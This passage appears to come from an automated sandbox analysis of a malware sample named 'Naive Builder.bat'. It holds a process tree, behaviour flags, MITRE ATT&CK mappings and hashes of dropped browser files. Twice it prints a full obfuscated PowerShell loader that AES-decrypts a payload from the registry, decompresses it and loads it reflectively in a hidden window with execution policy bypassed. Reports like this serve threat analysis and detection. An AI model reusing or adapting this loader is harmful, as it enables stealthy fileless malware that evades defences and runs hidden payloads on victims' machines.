$AlcuH.CopyTo($tUOxo); $AlcuH.Dispose(); $xreea.Dispose(); $tUOxo.Dispose(); $tUOxo.ToArray();}function XnBtD($hcWdd,$vCKUl){ $UUjhO=[System.Reflection.Assembly]::Load([byte[]]$hcWdd); $EYBYD=$UUjhO.EntryPoint; $EYBYD.Invoke($null, $vCKUl);}$GbeQA1 = New-Object System.Security.Cryptography.AesManaged;$GbeQA1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$rwFhy = $GbeQA1.('rotpyrceDetaerC'[-1..-15] -join '')();$uQajJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R8YHI2y3+bfC/arKVq+DpA==');$uQajJ = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ, 0, $uQajJ.Length);$uQajJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ);$ZldVv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zpFbjFR6Q79enMkRg/fV9jGByuCosOL+FFrp1L9Bxrc=');$ZldVv = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZldVv, 0, $ZldVv.Length);$ZldVv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZldVv);$QHSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yRagRVP7Y0yIRGNXut/wRA==');$QHSJO = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QHSJO, 0, $QHSJO.Length);$QHSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QHSJO);$qPAwu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3nv1Wa++uJVxc1vWntaKLplXRZxKDFr3uibDxi58OA6akRSWJKPKcLd61SPItlqY0XnMHBGvZkhpIvPUbbKr1oJ6xGwA14S05HTX8ockPubh62StS/uMKKQKA6C1mSEme1GddTODhgWgh94iy7yqk9lk78YqFUUq+TWzEkqK7YPDcKWIjzLdifgPOFrT/1yCRwIptdg6knFTVhsM9mPIS/N6Lrf7aikwoweqvaONhL5z2ZgTc5YSXyNme8h7UD4bIDYpyuHM1cBooljxqM+5vnB+aOUje92456JKGrbTyLLd+ClQQpJx7MbmRzCli54D+d68nATq5QHuaJzPeVnf62Tc9iUqA2/7kiNVK6We8YGHgon3mR5ksIo4U0Fg2hf+GIxQoAgKHnP663gcBFoSoc/gKpL0IpCEsZqRJUfLV8c=');$qPAwu = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qPAwu, 0, $qPAwu.Length);$qPAwu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qPAwu);$EAKnT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XmPKocLK/8SmKmaO5JmdsA==');$EAKnT = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EAKnT, 0, $EAKnT.Length);$EAKnT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EAKnT);$iskZf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('poxV0MP0jpPLCq8Z3pitYA==');$iskZf = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iskZf, 0, $iskZf.Length);$iskZf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($iskZf);$Vsxgi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fMjPiDDtGwwKHRObVzT45g==');$Vsxgi = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Vsxgi, 0, $Vsxgi.Length);$Vsxgi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Vsxgi);$GZsVo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uCGw99xaYYIE7Jybam7tCw==');$GZsVo = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GZsVo, 0, $GZsVo.Length);$GZsVo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GZsVo);$VYaHm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZD1IRjg+BO+p2yRt7mUxgQ==');$VYaHm = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($VYaHm, 0, $VYaHm.Length);$VYaHm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($VYaHm);$uQajJ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Vv8TsP5rPt+SM413bEOWhA==');$uQajJ0 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ0, 0, $uQajJ0.Length);$uQajJ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ0);$uQajJ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pmT31TTl/lRidgabhJZB0Q==');$uQajJ1 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ1, 0, $uQajJ1.Length);$uQajJ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ1);$uQajJ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nHishQEgCf6Wrip0Vd5NBw==');$uQajJ2 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ2, 0, $uQajJ2.Length);$uQajJ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ2);$uQajJ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EHH0aLIupLRmFvkxYHYafA==');$uQajJ3 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ3, 0, $uQajJ3.Length);$uQajJ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ3);$rwFhy.Dispose();$GbeQA1.Dispose();if (@(get-process -ea silentlycontinue $uQajJ3).count -gt 1) {exit};$cqpVt = [Microsoft.Win32.Registry]::$GZsVo.$Vsxgi($uQajJ).$iskZf($ZldVv);$eimmm=[string[]]$cqpVt.Split('\');$preJB=KdelZ(GwNqo([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[1])));XnBtD $preJB (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$UcUdn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[0]);$GbeQA = New-Object System.Security.Cryptography.AesManaged;$GbeQA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$Gzcae = $GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')();$UcUdn = $Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UcUdn, 0, $UcUdn.Length);$Gzcae.Dispose();$GbeQA.Dispose();$xreea = New-Object System.IO.MemoryStream(, $UcUdn);$tUOxo = New-Object System.IO.MemoryStream;$AlcuH = New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::$uQajJ1);$AlcuH.$VYaHm($tUOxo);$AlcuH.Dispose();$xreea.Dispose();$tUOxo.Dispose();$UcUdn = $tUOxo.ToArray();$HWqkc = $qPAwu | IEX;$UUjhO = $HWqkc::$uQajJ2($UcUdn);$EYBYD = $UUjhO.EntryPoint;$EYBYD.$uQajJ0($null, (, [string[]] ($QHSJO)))
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Hide Artifacts: Hidden Window
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:3080
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(3080).WaitForExit();[System.Threading.Thread]::Sleep(5000); function GwNqo($hcWdd){ $GbeQA=[System.Security.Cryptography.Aes]::Create(); $GbeQA.Mode=[System.Security.Cryptography.CipherMode]::CBC; $GbeQA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $GbeQA.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw='); $GbeQA.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw=='); $Gzcae=$GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')(); $xZCEn=$Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hcWdd, 0, $hcWdd.Length); $Gzcae.Dispose(); $GbeQA.Dispose(); $xZCEn;}function KdelZ($hcWdd){ $xreea=New-Object System.IO.MemoryStream(,$hcWdd); $tUOxo=New-Object System.IO.MemoryStream; $AlcuH=New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::Decompress); $AlcuH.CopyTo($tUOxo); $AlcuH.Dispose(); $xreea.Dispose(); $tUOxo.Dispose(); $tUOxo.ToArray();}function XnBtD($hcWdd,$vCKUl){ $UUjhO=[System.Reflection.Assembly]::Load([byte[]]$hcWdd); $EYBYD=$UUjhO.EntryPoint; $EYBYD.Invoke($null, $vCKUl);}$GbeQA1 = New-Object System.Security.Cryptography.AesManaged;$GbeQA1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$rwFhy = $GbeQA1.('rotpyrceDetaerC'[-1..-15] -join '')();$uQajJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R8YHI2y3+bfC/arKVq+DpA==');$uQajJ = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ, 0, $uQajJ.Length);$uQajJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ);$ZldVv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zpFbjFR6Q79enMkRg/fV9jGByuCosOL+FFrp1L9Bxrc=');$ZldVv = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZldVv, 0, $ZldVv.Length);$ZldVv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZldVv);$QHSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yRagRVP7Y0yIRGNXut/wRA==');$QHSJO = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QHSJO, 0, $QHSJO.Length);$QHSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QHSJO);$qPAwu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3nv1Wa++uJVxc1vWntaKLplXRZxKDFr3uibDxi58OA6akRSWJKPKcLd61SPItlqY0XnMHBGvZkhpIvPUbbKr1oJ6xGwA14S05HTX8ockPubh62StS/uMKKQKA6C1mSEme1GddTODhgWgh94iy7yqk9lk78YqFUUq+TWzEkqK7YPDcKWIjzLdifgPOFrT/1yCRwIptdg6knFTVhsM9mPIS/N6Lrf7aikwoweqvaONhL5z2ZgTc5YSXyNme8h7UD4bIDYpyuHM1cBooljxqM+5vnB+aOUje92456JKGrbTyLLd+ClQQpJx7MbmRzCli54D+d68nATq5QHuaJzPeVnf62Tc9iUqA2/7kiNVK6We8YGHgon3mR5ksIo4U0Fg2hf+GIxQoAgKHnP663gcBFoSoc/gKpL0IpCEsZqRJUfLV8c=');$qPAwu = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qPAwu, 0, $qPAwu.Length);$qPAwu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qPAwu);$EAKnT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XmPKocLK/8SmKmaO5JmdsA==');$EAKnT = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EAKnT, 0, $EAKnT.Length);$EAKnT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EAKnT);$iskZf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('poxV0MP0jpPLCq8Z3pitYA==');$iskZf = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iskZf, 0, $iskZf.Length);$iskZf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($iskZf);$Vsxgi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fMjPiDDtGwwKHRObVzT45g==');$Vsxgi = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Vsxgi, 0, $Vsxgi.Length);$Vsxgi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Vsxgi);$GZsVo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uCGw99xaYYIE7Jybam7tCw==');$GZsVo = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GZsVo, 0, $GZsVo.Length);$GZsVo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GZsVo);$VYaHm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZD1IRjg+BO+p2yRt7mUxgQ==');$VYaHm = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($VYaHm, 0, $VYaHm.Length);$VYaHm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($VYaHm);$uQajJ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Vv8TsP5rPt+SM413bEOWhA==');$uQajJ0 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ0, 0, $uQajJ0.Length);$uQajJ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ0);$uQajJ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pmT31TTl/lRidgabhJZB0Q==');$uQajJ1 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ1, 0, $uQajJ1.Length);$uQajJ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ1);$uQajJ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nHishQEgCf6Wrip0Vd5NBw==');$uQajJ2 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ2, 0, $uQajJ2.Length);$uQajJ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ2);$uQajJ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EHH0aLIupLRmFvkxYHYafA==');$uQajJ3 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ3, 0, $uQajJ3.Length);$uQajJ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ3);$rwFhy.Dispose();$GbeQA1.Dispose();if (@(get-process -ea silentlycontinue $uQajJ3).count -gt 1) {exit};$cqpVt = [Microsoft.Win32.Registry]::$GZsVo.$Vsxgi($uQajJ).$iskZf($ZldVv);$eimmm=[string[]]$cqpVt.Split('\');$preJB=KdelZ(GwNqo([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[1])));XnBtD $preJB (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$UcUdn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[0]);$GbeQA = New-Object System.Security.Cryptography.AesManaged;$GbeQA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$Gzcae = $GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')();$UcUdn = $Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UcUdn, 0, $UcUdn.Length);$Gzcae.Dispose();$GbeQA.Dispose();$xreea = New-Object System.IO.MemoryStream(, $UcUdn);$tUOxo = New-Object System.IO.MemoryStream;$AlcuH = New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::$uQajJ1);$AlcuH.$VYaHm($tUOxo);$AlcuH.Dispose();$xreea.Dispose();$tUOxo.Dispose();$UcUdn = $tUOxo.ToArray();$HWqkc = $qPAwu | IEX;$UUjhO = $HWqkc::$uQajJ2($UcUdn);$EYBYD = $UUjhO.EntryPoint;$EYBYD.$uQajJ0($null, (, [string[]] ($QHSJO)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:684
- C:\Users\Admin\Desktop\Naive Builder.bat.exe
  "C:\Users\Admin\Desktop\Naive Builder.bat.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Naive Builder.bat" "
  2⤵
  - Drops file in Windows directory
  PID:5052
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3988
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:1196
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1528
- C:\Windows\System32\NOTEPAD.EXE
  "C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Naive Builder.bat
  2⤵
  PID:5608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3656

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3852

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4004

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4864

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:2276

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:1884

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2820

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:556

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:808

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1740

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2496

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:4500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:3976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:1240

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3608

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:404

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:4260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:4988

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:4772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:3216

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:3712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Window

T1564.003

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
fab8d8d865e33fe195732aa7dcb91c30

SHA1
2637e832f38acc70af3e511f5eba80fbd7461f2c

SHA256
1b034ffe38e534e2b7a21be7c1f207ff84a1d5f3893207d0b4bb1a509b4185ea

SHA512
39a3d43ef7e28fea2cb247a5d09576a4904a43680db8c32139f22a03d80f6ede98708a2452f3f82232b868501340f79c0b3f810f597bcaf5267c3ccfb1704b43

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
36988ca14952e1848e81a959880ea217

SHA1
a0482ef725657760502c2d1a5abe0bb37aebaadb

SHA256
d7e96088b37cec1bde202ae8ec2d2f3c3aafc368b6ebd91b3e2985846facf2e6

SHA512
d04b2f5afec92eb3d9f9cdc148a3eddd1b615e0dfb270566a7969576f50881d1f8572bccb8b9fd7993724bdfe36fc7633a33381d43e0b96c4e9bbd53fc010173

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\4825078b-d75e-44a2-96bb-af0730918de0.tmp

Filesize
6KB

MD5
e92f7d5e98563e8f058c70c2f812b35f

SHA1
1c73f4435b751dd26835e1f49c60eb921d85ac69

SHA256
012c6d55de9e6aa89e44b47b179a27cfcb1981f07b9154be754e02427944b4f8

SHA512
688a593b995173be0b12e4b3a22ce13e0ad59734b212d6fe9c585594065ac6012bb3ea14c360ed70cb41219801dd035a5f9507b2824632924c6dc16210de30a1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
4f7b32a4a4b4032de4b650f47205e884

SHA1
90a29bad6b4f2e99825c53e40191291709a4cbd9

SHA256
3691de73fb9f055da7dc5d5155e86509d8196606e7618c83f3ac8e1960a2bdd9

SHA512
ac08c02e1a6b1887249e1e47b8859fb81fe11bebb02558f8a8029f1ad4e2433a2c3dd3a71b2e18cfd5cc9de68de68eedf23e7f4459ae48d169b6909bb2f45479

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
eeb63aafaa5bff87417d9489cd3ac956

SHA1
2ef70abc83887b5fdaa3f4ead393c41103e1b34d

SHA256
7e9969a071772eee90acf20491f20b1226afe75b69d5d98840b0fb17cf56579c

SHA512
e38e8a21a1fc29c97aba085dd3358d36aca02b4eca92ce8f046b681c943b7438b5edc5af105242a9633e9a792cd8f5dcb0d8ef6409c3ec76600158b456761d5d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
31a420928c60344fadf800f5533d412e

SHA1
ea4e53fa1041305842fc07ac602aa4321524e9c4

SHA256
8aef7195f79290b4794fac37a350aebc3d401014c77cc9a8bd4a860688ba6c6f

SHA512
2128a57e7e4efd4b3b94b69d1913816a32cf5243eb7ceabe31357bd3d160bcb13e2f74e1f471956c763c99131ed673d56a10a2962cf9c3304342c73746521edb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
4150b281670168252c4be52d3d2fd0bf

SHA1
f04e636d19562cc485084d3154852deb9650233e

SHA256
8c5f95e16eec37fa9bc6f0bccd7af21512e8668d4776919ae1a2b818ab686384

SHA512
05970cbd3ce6ea64b850036dc72cba16aeb276057356e46e4f0c99454a1e875ccc8d1744bd500a057aee02baa33dc0a5c44f469aafe0219eec83f29226cbb0cf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe57de0c.TMP

Filesize
1KB

MD5
2bb171ea7beb6ab18f2fbe9c97c90d6d

SHA1
feb080a8a05c2eff7431e837a4ad9b292bf8338f

SHA256
b57c464e343d3400dac71e82795af4072c9d644c3e5b4524d36e94038657e3dc

SHA512
68acea24d9f4aeae84b4f1e1dca5df00505a5586c07cb1a11d4cbf5afc14da7157cfe481e4a93184de7ea396d16793b5a405ab91aedea414499e07f8806b56bb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
27b9af8802aa5453896c785bad42ae40

SHA1
89a3797912fb97ed30c708ea6646d66e3efdcb13

SHA256
2c734e786ecbb818e7016fa014f998e2b3d309051d34a426d9d7d1ad4390a03d

SHA512
957943c31c762051647de70c6e924bdc09b98241255a8a7ff6f65ec2f085035fa28d1886797d3a5834c5964aa8b005476ba21bb671205962215c601839b84fbc

Download Submit
